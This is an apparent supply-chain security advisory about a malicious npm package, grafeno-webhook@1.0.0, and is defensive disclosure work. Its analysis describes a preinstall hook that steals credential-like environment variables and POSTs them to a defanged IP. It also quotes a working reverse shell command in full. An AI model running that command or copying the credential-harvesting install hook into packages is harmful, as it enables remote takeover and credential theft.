LWA-2026-11711 confirmed malware
grafeno-webhook@1.0.0
Malicious code in grafeno-webhook (npm)
T1059 · Command and Scripting InterpreterT1059.007 · JavaScriptT1552.001 · Credentials In FilesT1082 · System Information DiscoveryT1071 · Application Layer ProtocolT1105 · Ingress Tool TransferT1041 · Exfiltration Over C2 Channel
Analysis
The preinstall hook (preinstall.js) harvests the installer's environment variables whose names match AWS/TOKEN/KEY/SECRET/PASS/API, truncates each value to 80 characters, and base64-encodes them together with the hostname and username into a "webhook|host|user|env" string. It then POSTs this to hxxp://216[.]126[.]236[.]46/r[.]php via curl. On non-Windows systems it additionally spawns a detached reverse shell to 216[.]126[.]236[.]46:4444 (bash -i >& /dev/tcp/216[.]126[.]236[.]46/4444 0>&1 &). The hook swallows all errors so the install appears to succeed.
- analyzed by
- Leitwacht
- first seen
- Aug 29, 2026, 02:44 AM
- analyzed
- Aug 29, 2026, 02:44 AM
Related advisories
- r4wk-book@2.2.2
- dim-hydration-ui@1.0.0
- mcq-session@1.0.4
- space-items@1.0.0
- chalk-lib@1.0.0
- datefmt-util-helper@1.0.0
- my-auto-follow@1.0.0
- internallib_v756@1.0.7
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.